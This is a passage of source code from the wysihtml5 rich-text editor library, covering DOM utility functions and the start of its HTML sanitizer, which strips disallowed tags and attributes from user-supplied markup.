while (node.parentNode) {\n      node = node.parentNode;\n      nodeName = node.nodeName;\n      if (node.className && wysihtml5.lang.array(node.className.split(' ')).contains(ignoreInClasses)) {\n        return true;\n      }\n      if (IGNORE_URLS_IN.contains(nodeName)) {\n        return true;\n      } else if (nodeName === \"body\") {\n        return false;\n      }\n    }\n    return false;\n  }\n\n  function _parseNode(element, ignoreInClasses) {\n    if (IGNORE_URLS_IN.contains(element.nodeName)) {\n      return;\n    }\n\n    if (element.className && wysihtml5.lang.array(element.className.split(' ')).contains(ignoreInClasses)) {\n      return;\n    }\n\n    if (element.nodeType === wysihtml5.TEXT_NODE && element.data.match(URL_REG_EXP)) {\n      _wrapMatchesInNode(element);\n      return;\n    }\n\n    var childNodes        = wysihtml5.lang.array(element.childNodes).get(),\n        childNodesLength  = childNodes.length,\n        i                 = 0;\n\n    for (; i<childNodesLength; i++) {\n      _parseNode(childNodes[i], ignoreInClasses);\n    }\n\n    return element;\n  }\n\n  wysihtml5.dom.autoLink = autoLink;\n\n  // Reveal url reg exp to the outside\n  wysihtml5.dom.autoLink.URL_REG_EXP = URL_REG_EXP;\n})(wysihtml5);\n;(function(wysihtml5) {\n  var api = wysihtml5.dom;\n\n  api.addClass = function(element, className) {\n    var classList = element.classList;\n    if (classList) {\n      return classList.add(className);\n    }\n    if (api.hasClass(element, className)) {\n      return;\n    }\n    element.className += \" \" + className;\n  };\n\n  api.removeClass = function(element, className) {\n    var classList = element.classList;\n    if (classList) {\n      return classList.remove(className);\n    }\n\n    element.className = element.className.replace(new RegExp(\"(^|\\\\s+)\" + className + \"(\\\\s+|$)\"), \" \");\n  };\n\n  api.hasClass = function(element, className) {\n    var classList = element.classList;\n    if (classList) {\n      return classList.contains(className);\n    }\n\n    var elementClassName = element.className;\n    return (elementClassName.length > 0 && (elementClassName == className || new RegExp(\"(^|\\\\s)\" + className + \"(\\\\s|$)\").test(elementClassName)));\n  };\n})(wysihtml5);\n;wysihtml5.dom.contains = (function() {\n  var documentElement = document.documentElement;\n  if (documentElement.contains) {\n    return function(container, element) {\n      if (element.nodeType !== wysihtml5.ELEMENT_NODE) {\n        element = element.parentNode;\n      }\n      return container !== element && container.contains(element);\n    };\n  } else if (documentElement.compareDocumentPosition) {\n    return function(container, element) {\n      // https://developer.mozilla.org/en/DOM/Node.compareDocumentPosition\n      return !!(container.compareDocumentPosition(element) & 16);\n    };\n  }\n})();\n;/**\n * Converts an HTML fragment/element into a unordered/ordered list\n *\n * @param {Element} element The element which should be turned into a list\n * @param {String} listType The list type in which to convert the tree (either \"ul\" or \"ol\")\n * @return {Element} The created list\n *\n * @example\n *    <!-- Assume the following dom: -->\n *    <span id=\"pseudo-list\">\n *      eminem<br>\n *      dr. dre\n *      <div>50 Cent</div>\n *    </span>\n *\n *    <script>\n *      wysihtml5.dom.convertToList(document.getElementById(\"pseudo-list\"), \"ul\");\n *    </script>\n *\n *    <!-- Will result in: -->\n *    <ul>\n *      <li>eminem</li>\n *      <li>dr. dre</li>\n *      <li>50 Cent</li>\n *    </ul>\n */\nwysihtml5.dom.convertToList = (function() {\n  function _createListItem(doc, list) {\n    var listItem = doc.createElement(\"li\");\n    list.appendChild(listItem);\n    return listItem;\n  }\n\n  function _createList(doc, type) {\n    return doc.createElement(type);\n  }\n\n  function convertToList(element, listType, uneditableClass) {\n    if (element.nodeName === \"UL\" || element.nodeName === \"OL\" || element.nodeName === \"MENU\") {\n      // Already a list\n      return element;\n    }\n\n    var doc               = element.ownerDocument,\n        list              = _createList(doc, listType),\n        lineBreaks        = element.querySelectorAll(\"br\"),\n        lineBreaksLength  = lineBreaks.length,\n        childNodes,\n        childNodesLength,\n        childNode,\n        lineBreak,\n        parentNode,\n        isBlockElement,\n        isLineBreak,\n        currentListItem,\n        i;\n\n    // First find <br> at the end of inline elements and move them behind them\n    for (i=0; i<lineBreaksLength; i++) {\n      lineBreak = lineBreaks[i];\n      while ((parentNode = lineBreak.parentNode) && parentNode !== element && parentNode.lastChild === lineBreak) {\n        if (wysihtml5.dom.getStyle(\"display\").from(parentNode) === \"block\") {\n          parentNode.removeChild(lineBreak);\n          break;\n        }\n        wysihtml5.dom.insert(lineBreak).after(lineBreak.parentNode);\n      }\n    }\n\n    childNodes        = wysihtml5.lang.array(element.childNodes).get();\n    childNodesLength  = childNodes.length;\n\n    for (i=0; i<childNodesLength; i++) {\n      currentListItem   = currentListItem || _createListItem(doc, list);\n      childNode         = childNodes[i];\n      isBlockElement    = wysihtml5.dom.getStyle(\"display\").from(childNode) === \"block\";\n      isLineBreak       = childNode.nodeName === \"BR\";\n\n      // consider uneditable as an inline element\n      if (isBlockElement && (!uneditableClass || !wysihtml5.dom.hasClass(childNode, uneditableClass))) {\n        // Append blockElement to current <li> if empty, otherwise create a new one\n        currentListItem = currentListItem.firstChild ? _createListItem(doc, list) : currentListItem;\n        currentListItem.appendChild(childNode);\n        currentListItem = null;\n        continue;\n      }\n\n      if (isLineBreak) {\n        // Only create a new list item in the next iteration when the current one has already content\n        currentListItem = currentListItem.firstChild ? null : currentListItem;\n        continue;\n      }\n\n      currentListItem.appendChild(childNode);\n    }\n\n    if (childNodes.length === 0) {\n      _createListItem(doc, list);\n    }\n\n    element.parentNode.replaceChild(list, element);\n    return list;\n  }\n\n  return convertToList;\n})();\n;/**\n * Copy a set of attributes from one element to another\n *\n * @param {Array} attributesToCopy List of attributes which should be copied\n * @return {Object} Returns an object which offers the \"from\" method which can be invoked with the element where to\n *    copy the attributes from., this again returns an object which provides a method named \"to\" which can be invoked\n *    with the element where to copy the attributes to (see example)\n *\n * @example\n *    var textarea    = document.querySelector(\"textarea\"),\n *        div         = document.querySelector(\"div[contenteditable=true]\"),\n *        anotherDiv  = document.querySelector(\"div.preview\");\n *    wysihtml5.dom.copyAttributes([\"spellcheck\", \"value\", \"placeholder\"]).from(textarea).to(div).andTo(anotherDiv);\n *\n */\nwysihtml5.dom.copyAttributes = function(attributesToCopy) {\n  return {\n    from: function(elementToCopyFrom) {\n      return {\n        to: function(elementToCopyTo) {\n          var attribute,\n              i         = 0,\n              length    = attributesToCopy.length;\n          for (; i<length; i++) {\n            attribute = attributesToCopy[i];\n            if (typeof(elementToCopyFrom[attribute]) !== \"undefined\" && elementToCopyFrom[attribute] !== \"\") {\n              elementToCopyTo[attribute] = elementToCopyFrom[attribute];\n            }\n          }\n          return { andTo: arguments.callee };\n        }\n      };\n    }\n  };\n};\n;/**\n * Copy a set of styles from one element to another\n * Please note that this only works properly across browsers when the element from which to copy the styles\n * is in the dom\n *\n * Interesting article on how to copy styles\n *\n * @param {Array} stylesToCopy List of styles which should be copied\n * @return {Object} Returns an object which offers the \"from\" method which can be invoked with the element where to\n *    copy the styles from., this again returns an object which provides a method named \"to\" which can be invoked\n *    with the element where to copy the styles to (see example)\n *\n * @example\n *    var textarea    = document.querySelector(\"textarea\"),\n *        div         = document.querySelector(\"div[contenteditable=true]\"),\n *        anotherDiv  = document.querySelector(\"div.preview\");\n *    wysihtml5.dom.copyStyles([\"overflow-y\", \"width\", \"height\"]).from(textarea).to(div).andTo(anotherDiv);\n *\n */\n(function(dom) {\n\n  /**\n   * Mozilla, WebKit and Opera recalculate the computed width when box-sizing: boder-box; is set\n   * So if an element has \"width: 200px; -moz-box-sizing: border-box; border: 1px;\" then\n   * its computed css width will be 198px\n   *\n   * See https://bugzilla.mozilla.org/show_bug.cgi?id=520992\n   */\n  var BOX_SIZING_PROPERTIES = [\"-webkit-box-sizing\", \"-moz-box-sizing\", \"-ms-box-sizing\", \"box-sizing\"];\n\n  var shouldIgnoreBoxSizingBorderBox = function(element) {\n    if (hasBoxSizingBorderBox(element)) {\n       return parseInt(dom.getStyle(\"width\").from(element), 10) < element.offsetWidth;\n    }\n    return false;\n  };\n\n  var hasBoxSizingBorderBox = function(element) {\n    var i       = 0,\n        length  = BOX_SIZING_PROPERTIES.length;\n    for (; i<length; i++) {\n      if (dom.getStyle(BOX_SIZING_PROPERTIES[i]).from(element) === \"border-box\") {\n        return BOX_SIZING_PROPERTIES[i];\n      }\n    }\n  };\n\n  dom.copyStyles = function(stylesToCopy) {\n    return {\n      from: function(element) {\n        if (shouldIgnoreBoxSizingBorderBox(element)) {\n          stylesToCopy = wysihtml5.lang.array(stylesToCopy).without(BOX_SIZING_PROPERTIES);\n        }\n\n        var cssText = \"\",\n            length  = stylesToCopy.length,\n            i       = 0,\n            property;\n        for (; i<length; i++) {\n          property = stylesToCopy[i];\n          cssText += property + \":\" + dom.getStyle(property).from(element) + \";\";\n        }\n\n        return {\n          to: function(element) {\n            dom.setStyles(cssText).on(element);\n            return { andTo: arguments.callee };\n          }\n        };\n      }\n    };\n  };\n})(wysihtml5.dom);\n;/**\n * Event Delegation\n *\n * @example\n *    wysihtml5.dom.delegate(document.body, \"a\", \"click\", function() {\n *      // foo\n *    });\n */\n(function(wysihtml5) {\n\n  wysihtml5.dom.delegate = function(container, selector, eventName, handler) {\n    return wysihtml5.dom.observe(container, eventName, function(event) {\n      var target    = event.target,\n          match     = wysihtml5.lang.array(container.querySelectorAll(selector));\n\n      while (target && target !== container) {\n        if (match.contains(target)) {\n          handler.call(target, event);\n          break;\n        }\n        target = target.parentNode;\n      }\n    });\n  };\n\n})(wysihtml5);\n;// TODO: Refactor dom tree traversing here\n(function(wysihtml5) {\n  wysihtml5.dom.domNode = function(node) {\n    var defaultNodeTypes = [wysihtml5.ELEMENT_NODE, wysihtml5.TEXT_NODE];\n\n    var _isBlankText = function(node) {\n      return node.nodeType === wysihtml5.TEXT_NODE && (/^\\s*$/g).test(node.data);\n    };\n\n    return {\n\n      // var node = wysihtml5.dom.domNode(element).prev({nodeTypes: [1,3], ignoreBlankTexts: true});\n      prev: function(options) {\n        var prevNode = node.previousSibling,\n            types = (options && options.nodeTypes) ? options.nodeTypes : defaultNodeTypes;\n        \n        if (!prevNode) {\n          return null;\n        }\n\n        if (\n          (!wysihtml5.lang.array(types).contains(prevNode.nodeType)) || // nodeTypes check.\n          (options && options.ignoreBlankTexts && _isBlankText(prevNode)) // Blank text nodes bypassed if set\n        ) {\n          return wysihtml5.dom.domNode(prevNode).prev(options);\n        }\n        \n        return prevNode;\n      },\n\n      // var node = wysihtml5.dom.domNode(element).next({nodeTypes: [1,3], ignoreBlankTexts: true});\n      next: function(options) {\n        var nextNode = node.nextSibling,\n            types = (options && options.nodeTypes) ? options.nodeTypes : defaultNodeTypes;\n        \n        if (!nextNode) {\n          return null;\n        }\n\n        if (\n          (!wysihtml5.lang.array(types).contains(nextNode.nodeType)) || // nodeTypes check.\n          (options && options.ignoreBlankTexts && _isBlankText(nextNode)) // blank text nodes bypassed if set\n        ) {\n          return wysihtml5.dom.domNode(nextNode).next(options);\n        }\n        \n        return nextNode;\n      }\n\n\n\n    };\n  };\n})(wysihtml5);;/**\n * Returns the given html wrapped in a div element\n *\n * Fixing IE's inability to treat unknown elements (HTML5 section, article, ...) correctly\n * when inserted via innerHTML\n *\n * @param {String} html The html which should be wrapped in a dom element\n * @param {Obejct} [context] Document object of the context the html belongs to\n *\n * @example\n *    wysihtml5.dom.getAsDom(\"<article>foo</article>\");\n */\nwysihtml5.dom.getAsDom = (function() {\n\n  var _innerHTMLShiv = function(html, context) {\n    var tempElement = context.createElement(\"div\");\n    tempElement.style.display = \"none\";\n    context.body.appendChild(tempElement);\n    // IE throws an exception when trying to insert <frameset></frameset> via innerHTML\n    try { tempElement.innerHTML = html; } catch(e) {}\n    context.body.removeChild(tempElement);\n    return tempElement;\n  };\n\n  /**\n   * Make sure IE supports HTML5 tags, which is accomplished by simply creating one instance of each element\n   */\n  var _ensureHTML5Compatibility = function(context) {\n    if (context._wysihtml5_supportsHTML5Tags) {\n      return;\n    }\n    for (var i=0, length=HTML5_ELEMENTS.length; i<length; i++) {\n      context.createElement(HTML5_ELEMENTS[i]);\n    }\n    context._wysihtml5_supportsHTML5Tags = true;\n  };\n\n\n  /**\n   * List of html5 tags\n   * taken from http://simon.html5.org/html5-elements\n   */\n  var HTML5_ELEMENTS = [\n    \"abbr\", \"article\", \"aside\", \"audio\", \"bdi\", \"canvas\", \"command\", \"datalist\", \"details\", \"figcaption\",\n    \"figure\", \"footer\", \"header\", \"hgroup\", \"keygen\", \"mark\", \"meter\", \"nav\", \"output\", \"progress\",\n    \"rp\", \"rt\", \"ruby\", \"svg\", \"section\", \"source\", \"summary\", \"time\", \"track\", \"video\", \"wbr\"\n  ];\n\n  return function(html, context) {\n    context = context || document;\n    var tempElement;\n    if (typeof(html) === \"object\" && html.nodeType) {\n      tempElement = context.createElement(\"div\");\n      tempElement.appendChild(html);\n    } else if (wysihtml5.browser.supportsHTML5Tags(context)) {\n      tempElement = context.createElement(\"div\");\n      tempElement.innerHTML = html;\n    } else {\n      _ensureHTML5Compatibility(context);\n      tempElement = _innerHTMLShiv(html, context);\n    }\n    return tempElement;\n  };\n})();\n;/**\n * Walks the dom tree from the given node up until it finds a match\n * Designed for optimal performance.\n *\n * @param {Element} node The from which to check the parent nodes\n * @param {Object} matchingSet Object to match against (possible properties: nodeName, className, classRegExp)\n * @param {Number} [levels] How many parents should the function check up from the current node (defaults to 50)\n * @return {null|Element} Returns the first element that matched the desiredNodeName(s)\n * @example\n *    var listElement = wysihtml5.dom.getParentElement(document.querySelector(\"li\"), { nodeName: [\"MENU\", \"UL\", \"OL\"] });\n *    // ... or ...\n *    var unorderedListElement = wysihtml5.dom.getParentElement(document.querySelector(\"li\"), { nodeName: \"UL\" });\n *    // ... or ...\n *    var coloredElement = wysihtml5.dom.getParentElement(myTextNode, { nodeName: \"SPAN\", className: \"wysiwyg-color-red\", classRegExp: /wysiwyg-color-[a-z]/g });\n */\nwysihtml5.dom.getParentElement = (function() {\n\n  function _isSameNodeName(nodeName, desiredNodeNames) {\n    if (!desiredNodeNames || !desiredNodeNames.length) {\n      return true;\n    }\n\n    if (typeof(desiredNodeNames) === \"string\") {\n      return nodeName === desiredNodeNames;\n    } else {\n      return wysihtml5.lang.array(desiredNodeNames).contains(nodeName);\n    }\n  }\n\n  function _isElement(node) {\n    return node.nodeType === wysihtml5.ELEMENT_NODE;\n  }\n\n  function _hasClassName(element, className, classRegExp) {\n    var classNames = (element.className || \"\").match(classRegExp) || [];\n    if (!className) {\n      return !!classNames.length;\n    }\n    return classNames[classNames.length - 1] === className;\n  }\n\n  function _hasStyle(element, cssStyle, styleRegExp) {\n    var styles = (element.getAttribute('style') || \"\").match(styleRegExp) || [];\n    if (!cssStyle) {\n      return !!styles.length;\n    }\n    return styles[styles.length - 1] === cssStyle;\n  }\n\n  return function(node, matchingSet, levels, container) {\n    var findByStyle = (matchingSet.cssStyle || matchingSet.styleRegExp),\n        findByClass = (matchingSet.className || matchingSet.classRegExp);\n\n    levels = levels || 50; // Go max 50 nodes upwards from current node\n\n    while (levels-- && node && node.nodeName !== \"BODY\" && (!container || node !== container)) {\n      if (_isElement(node) && _isSameNodeName(node.nodeName, matchingSet.nodeName) &&\n          (!findByStyle || _hasStyle(node, matchingSet.cssStyle, matchingSet.styleRegExp)) &&\n          (!findByClass || _hasClassName(node, matchingSet.className, matchingSet.classRegExp))\n      ) {\n        return node;\n      }\n      node = node.parentNode;\n    }\n    return null;\n  };\n})();\n;/**\n * Get element's style for a specific css property\n *\n * @param {Element} element The element on which to retrieve the style\n * @param {String} property The CSS property to retrieve (\"float\", \"display\", \"text-align\", ...)\n *\n * @example\n *    wysihtml5.dom.getStyle(\"display\").from(document.body);\n *    // => \"block\"\n */\nwysihtml5.dom.getStyle = (function() {\n  var stylePropertyMapping = {\n        \"float\": (\"styleFloat\" in document.createElement(\"div\").style) ? \"styleFloat\" : \"cssFloat\"\n      },\n      REG_EXP_CAMELIZE = /\\-[a-z]/g;\n\n  function camelize(str) {\n    return str.replace(REG_EXP_CAMELIZE, function(match) {\n      return match.charAt(1).toUpperCase();\n    });\n  }\n\n  return function(property) {\n    return {\n      from: function(element) {\n        if (element.nodeType !== wysihtml5.ELEMENT_NODE) {\n          return;\n        }\n\n        var doc               = element.ownerDocument,\n            camelizedProperty = stylePropertyMapping[property] || camelize(property),\n            style             = element.style,\n            currentStyle      = element.currentStyle,\n            styleValue        = style[camelizedProperty];\n        if (styleValue) {\n          return styleValue;\n        }\n\n        // currentStyle is no standard and only supported by Opera and IE but it has one important advantage over the standard-compliant\n        // window.getComputedStyle, since it returns css property values in their original unit:\n        // If you set an elements width to \"50%\", window.getComputedStyle will give you it's current width in px while currentStyle\n        // gives you the original \"50%\".\n        // Opera supports both, currentStyle and window.getComputedStyle, that's why checking for currentStyle should have higher prio\n        if (currentStyle) {\n          try {\n            return currentStyle[camelizedProperty];\n          } catch(e) {\n            //ie will occasionally fail for unknown reasons. swallowing exception\n          }\n        }\n\n        var win                 = doc.defaultView || doc.parentWindow,\n            needsOverflowReset  = (property === \"height\" || property === \"width\") && element.nodeName === \"TEXTAREA\",\n            originalOverflow,\n            returnValue;\n\n        if (win.getComputedStyle) {\n          // Chrome and Safari both calculate a wrong width and height for textareas when they have scroll bars\n          // therfore we remove and restore the scrollbar and calculate the value in between\n          if (needsOverflowReset) {\n            originalOverflow = style.overflow;\n            style.overflow = \"hidden\";\n          }\n          returnValue = win.getComputedStyle(element, null).getPropertyValue(property);\n          if (needsOverflowReset) {\n            style.overflow = originalOverflow || \"\";\n          }\n          return returnValue;\n        }\n      }\n    };\n  };\n})();\n;wysihtml5.dom.getTextNodes = function(node, ingoreEmpty){\n  var all = [];\n  for (node=node.firstChild;node;node=node.nextSibling){\n    if (node.nodeType == 3) {\n      if (!ingoreEmpty || !(/^\\s*$/).test(node.innerText || node.textContent)) {\n        all.push(node);\n      }\n    } else {\n      all = all.concat(wysihtml5.dom.getTextNodes(node, ingoreEmpty));\n    }\n  }\n  return all;\n};;/**\n * High performant way to check whether an element with a specific tag name is in the given document\n * Optimized for being heavily executed\n * Unleashes the power of live node lists\n *\n * @param {Object} doc The document object of the context where to check\n * @param {String} tagName Upper cased tag name\n * @example\n *    wysihtml5.dom.hasElementWithTagName(document, \"IMG\");\n */\nwysihtml5.dom.hasElementWithTagName = (function() {\n  var LIVE_CACHE          = {},\n      DOCUMENT_IDENTIFIER = 1;\n\n  function _getDocumentIdentifier(doc) {\n    return doc._wysihtml5_identifier || (doc._wysihtml5_identifier = DOCUMENT_IDENTIFIER++);\n  }\n\n  return function(doc, tagName) {\n    var key         = _getDocumentIdentifier(doc) + \":\" + tagName,\n        cacheEntry  = LIVE_CACHE[key];\n    if (!cacheEntry) {\n      cacheEntry = LIVE_CACHE[key] = doc.getElementsByTagName(tagName);\n    }\n\n    return cacheEntry.length > 0;\n  };\n})();\n;/**\n * High performant way to check whether an element with a specific class name is in the given document\n * Optimized for being heavily executed\n * Unleashes the power of live node lists\n *\n * @param {Object} doc The document object of the context where to check\n * @param {String} tagName Upper cased tag name\n * @example\n *    wysihtml5.dom.hasElementWithClassName(document, \"foobar\");\n */\n(function(wysihtml5) {\n  var LIVE_CACHE          = {},\n      DOCUMENT_IDENTIFIER = 1;\n\n  function _getDocumentIdentifier(doc) {\n    return doc._wysihtml5_identifier || (doc._wysihtml5_identifier = DOCUMENT_IDENTIFIER++);\n  }\n\n  wysihtml5.dom.hasElementWithClassName = function(doc, className) {\n    // getElementsByClassName is not supported by IE<9\n    // but is sometimes mocked via library code (which then doesn't return live node lists)\n    if (!wysihtml5.browser.supportsNativeGetElementsByClassName()) {\n      return !!doc.querySelector(\".\" + className);\n    }\n\n    var key         = _getDocumentIdentifier(doc) + \":\" + className,\n        cacheEntry  = LIVE_CACHE[key];\n    if (!cacheEntry) {\n      cacheEntry = LIVE_CACHE[key] = doc.getElementsByClassName(className);\n    }\n\n    return cacheEntry.length > 0;\n  };\n})(wysihtml5);\n;wysihtml5.dom.insert = function(elementToInsert) {\n  return {\n    after: function(element) {\n      element.parentNode.insertBefore(elementToInsert, element.nextSibling);\n    },\n\n    before: function(element) {\n      element.parentNode.insertBefore(elementToInsert, element);\n    },\n\n    into: function(element) {\n      element.appendChild(elementToInsert);\n    }\n  };\n};\n;wysihtml5.dom.insertCSS = function(rules) {\n  rules = rules.join(\"\\n\");\n\n  return {\n    into: function(doc) {\n      var styleElement = doc.createElement(\"style\");\n      styleElement.type = \"text/css\";\n\n      if (styleElement.styleSheet) {\n        styleElement.styleSheet.cssText = rules;\n      } else {\n        styleElement.appendChild(doc.createTextNode(rules));\n      }\n\n      var link = doc.querySelector(\"head link\");\n      if (link) {\n        link.parentNode.insertBefore(styleElement, link);\n        return;\n      } else {\n        var head = doc.querySelector(\"head\");\n        if (head) {\n          head.appendChild(styleElement);\n        }\n      }\n    }\n  };\n};\n;// TODO: Refactor dom tree traversing here\n(function(wysihtml5) {\n  wysihtml5.dom.lineBreaks = function(node) {\n\n    function _isLineBreak(n) {\n      return n.nodeName === \"BR\";\n    }\n\n    /**\n     * Checks whether the elment causes a visual line break\n     * (<br> or block elements)\n     */\n    function _isLineBreakOrBlockElement(element) {\n      if (_isLineBreak(element)) {\n        return true;\n      }\n\n      if (wysihtml5.dom.getStyle(\"display\").from(element) === \"block\") {\n        return true;\n      }\n\n      return false;\n    }\n\n    return {\n\n      /* wysihtml5.dom.lineBreaks(element).add();\n       *\n       * Adds line breaks before and after the given node if the previous and next siblings\n       * aren't already causing a visual line break (block element or <br>)\n       */\n      add: function(options) {\n        var doc             = node.ownerDocument,\n          nextSibling     = wysihtml5.dom.domNode(node).next({ignoreBlankTexts: true}),\n          previousSibling = wysihtml5.dom.domNode(node).prev({ignoreBlankTexts: true});\n\n        if (nextSibling && !_isLineBreakOrBlockElement(nextSibling)) {\n          wysihtml5.dom.insert(doc.createElement(\"br\")).after(node);\n        }\n        if (previousSibling && !_isLineBreakOrBlockElement(previousSibling)) {\n          wysihtml5.dom.insert(doc.createElement(\"br\")).before(node);\n        }\n      },\n\n      /* wysihtml5.dom.lineBreaks(element).remove();\n       *\n       * Removes line breaks before and after the given node\n       */\n      remove: function(options) {\n        var nextSibling     = wysihtml5.dom.domNode(node).next({ignoreBlankTexts: true}),\n            previousSibling = wysihtml5.dom.domNode(node).prev({ignoreBlankTexts: true});\n\n        if (nextSibling && _isLineBreak(nextSibling)) {\n          nextSibling.parentNode.removeChild(nextSibling);\n        }\n        if (previousSibling && _isLineBreak(previousSibling)) {\n          previousSibling.parentNode.removeChild(previousSibling);\n        }\n      }\n    };\n  };\n})(wysihtml5);;/**\n * Method to set dom events\n *\n * @example\n *    wysihtml5.dom.observe(iframe.contentWindow.document.body, [\"focus\", \"blur\"], function() { ... });\n */\nwysihtml5.dom.observe = function(element, eventNames, handler) {\n  eventNames = typeof(eventNames) === \"string\" ? [eventNames] : eventNames;\n\n  var handlerWrapper,\n      eventName,\n      i       = 0,\n      length  = eventNames.length;\n\n  for (; i<length; i++) {\n    eventName = eventNames[i];\n    if (element.addEventListener) {\n      element.addEventListener(eventName, handler, false);\n    } else {\n      handlerWrapper = function(event) {\n        if (!(\"target\" in event)) {\n          event.target = event.srcElement;\n        }\n        event.preventDefault = event.preventDefault || function() {\n          this.returnValue = false;\n        };\n        event.stopPropagation = event.stopPropagation || function() {\n          this.cancelBubble = true;\n        };\n        handler.call(element, event);\n      };\n      element.attachEvent(\"on\" + eventName, handlerWrapper);\n    }\n  }\n\n  return {\n    stop: function() {\n      var eventName,\n          i       = 0,\n          length  = eventNames.length;\n      for (; i<length; i++) {\n        eventName = eventNames[i];\n        if (element.removeEventListener) {\n          element.removeEventListener(eventName, handler, false);\n        } else {\n          element.detachEvent(\"on\" + eventName, handlerWrapper);\n        }\n      }\n    }\n  };\n};\n;/**\n * HTML Sanitizer\n * Rewrites the HTML based on given rules\n *\n * @param {Element|String} elementOrHtml HTML String to be sanitized OR element whose content should be sanitized\n * @param {Object} [rules] List of rules for rewriting the HTML, if there's no rule for an element it will\n *    be converted to a \"span\". Each rule is a key/value pair where key is the tag to convert, and value the\n *    desired substitution.\n * @param {Object} context Document object in which to parse the html, needed to sandbox the parsing\n *\n * @return {Element|String} Depends on the elementOrHtml parameter. When html then the sanitized html as string elsewise the element.\n *\n * @example\n *    var userHTML = '<div id=\"foo\" onclick=\"alert(1);\"><p><font color=\"red\">foo</font><script>alert(1);</script></p></div>';\n *    wysihtml5.dom.parse(userHTML, {\n *      tags {\n *        p:      \"div\",      // Rename p tags to div tags\n *        font:   \"span\"      // Rename font tags to span tags\n *        div:    true,       // Keep them, also possible (same result when passing: \"div\" or true)\n *        script: undefined   // Remove script elements\n *      }\n *    });\n *    // => <div><div><span>foo bar</span></div></div>\n *\n *    var userHTML = '<table><tbody><tr><td>I'm a table!</td></tr></tbody></table>';\n *    wysihtml5.dom.parse(userHTML);\n *    // => '<span><span><span><span>I'm a table!</span></span></span></span>'\n *\n *    var userHTML = '<div>foobar<br>foobar</div>';\n *    wysihtml5.dom.parse(userHTML, {\n *      tags: {\n *        div: undefined,\n *        br:  true\n *      }\n *    });\n *    // => ''\n *\n *    var userHTML = '<div class=\"red\">foo</div><div class=\"pink\">bar</div>';\n *    wysihtml5.dom.parse(userHTML, {\n *      classes: {\n *        red:    1,\n *        green:  1\n *      },\n *      tags: {\n *        div: {\n *          rename_tag:     \"p\"\n *        }\n *      }\n *    });\n *    // => '<p class=\"red\">foo</p><p>bar</p>'\n */\n\nwysihtml5.dom.parse = function(elementOrHtml_current, config_current) {\n  /* TODO: Currently escaped module pattern as otherwise folloowing default swill be shared among multiple editors.\n   * Refactor whole code as this method while workind is kind of awkward too */\n\n  /**\n   * It's not possible to use a XMLParser/DOMParser as HTML5 is not always well-formed XML\n   * new DOMParser().parseFromString('<img src=\"foo.gif\">') will cause a parseError since the\n   * node isn't closed\n   *\n   * Therefore we've to use the browser's ordinary HTML parser invoked by setting innerHTML.\n   */\n  var NODE_TYPE_MAPPING = {\n        \"1\": _handleElement,\n        \"3\": _handleText,\n        \"8\": _handleComment\n      },\n      // Rename unknown tags to this\n      DEFAULT_NODE_NAME   = \"span\",\n      WHITE_SPACE_REG_EXP = /\\s+/,\n      defaultRules        = { tags: {}, classes: {} },\n      currentRules        = {};\n\n  /**\n   * Iterates over all childs of the element, recreates them, appends them into a document fragment\n   * which later replaces the entire body content\n   */\n   function parse(elementOrHtml, config) {\n    wysihtml5.lang.object(currentRules).merge(defaultRules).merge(config.rules).get();\n\n    var context       = config.context || elementOrHtml.ownerDocument || document,\n        fragment      = context.createDocumentFragment(),\n        isString      = typeof(elementOrHtml) === \"string\",\n        clearInternals = false,\n        element,\n        newNode,\n        firstChild;\n\n    if (config.clearInternals === true) {\n      clearInternals = true;\n    }\n\n    if (isString) {\n      element = wysihtml5.dom.getAsDom(elementOrHtml, context);\n    } else {\n      element = elementOrHtml;\n    }\n\n    if (currentRules.selectors) {\n      _applySelectorRules(element, currentRules.selectors);\n    }\n\n    while (element.firstChild) {\n      firstChild = element.firstChild;\n      newNode = _convert(firstChild, config.cleanUp, clearInternals, config.uneditableClass);\n      if (newNode) {\n        fragment.appendChild(newNode);\n      }\n      if (firstChild !== newNode) {\n        element.removeChild(firstChild);\n      }\n    }\n\n    if (config.unjoinNbsps) {\n      // replace joined non-breakable spaces with unjoined\n      var txtnodes = wysihtml5.dom.getTextNodes(fragment);\n      for (var n = txtnodes.length; n--;) {\n        txtnodes[n].nodeValue = txtnodes[n].nodeValue.replace(/([\\S\\u00A0])\\u00A0/gi, \"$1 \");\n      }\n    }\n\n    // Clear element contents\n    element.innerHTML = \"\";\n\n    // Insert new DOM tree\n    element.appendChild(fragment);\n\n    return isString ? wysihtml5.quirks.getCorrectInnerHTML(element) : element;\n  }\n\n  function _convert(oldNode, cleanUp, clearInternals, uneditableClass) {\n    var oldNodeType     = oldNode.nodeType,\n        oldChilds       = oldNode.childNodes,\n        oldChildsLength = oldChilds.length,\n        method          = NODE_TYPE_MAPPING[oldNodeType],\n        i               = 0,\n        fragment,\n        newNode,\n        newChild;\n\n    // Passes directly elemets with uneditable class\n    if (uneditableClass && oldNodeType === 1 && wysihtml5.dom.hasClass(oldNode, uneditableClass)) {\n        return oldNode;\n    }\n\n    newNode = method && method(oldNode, clearInternals);\n\n    // Remove or unwrap node in case of return value null or false\n    if (!newNode) {\n        if (newNode === false) {\n            // false defines that tag should be removed but contents should remain (unwrap)\n            fragment = oldNode.ownerDocument.createDocumentFragment();\n\n            for (i = oldChildsLength; i--;) {\n              if (oldChilds[i]) {\n                newChild = _convert(oldChilds[i], cleanUp, clearInternals, uneditableClass);\n                if (newChild) {\n                  if (oldChilds[i] === newChild) {\n                    i--;\n                  }\n                  fragment.insertBefore(newChild, fragment.firstChild);\n                }\n              }\n            }\n\n            if (wysihtml5.dom.getStyle(\"display\").from(oldNode) === \"block\") {\n              fragment.appendChild(oldNode.ownerDocument.createElement(\"br\"));\n            }\n\n            // TODO: try to minimize surplus spaces\n            if (wysihtml5.lang.array([\n                \"div\", \"pre\", \"p\",\n                \"table\", \"td\", \"th\",\n                \"ul\", \"ol\", \"li\",\n                \"dd\", \"dl\",\n                \"footer\", \"header\", \"section\",\n                \"h1\", \"h2\", \"h3\", \"h4\", \"h5\", \"h6\"\n            ]).contains(oldNode.nodeName.toLowerCase()) && oldNode.parentNode.lastChild !== oldNode) {\n                // add space at first when unwraping non-textflow elements\n                if (!oldNode.nextSibling || oldNode.nextSibling.nodeType !== 3 || !(/^\\s/).test(oldNode.nextSibling.nodeValue)) {\n                  fragment.appendChild(oldNode.ownerDocument.createTextNode(\" \"));\n                }\n            }\n\n            if (fragment.normalize) {\n              fragment.normalize();\n            }\n            return fragment;\n        } else {\n          // Remove\n          return null;\n        }\n    }\n\n    // Converts all childnodes\n    for (i=0; i<oldChildsLength; i++) {\n      if (oldChilds[i]) {\n        newChild = 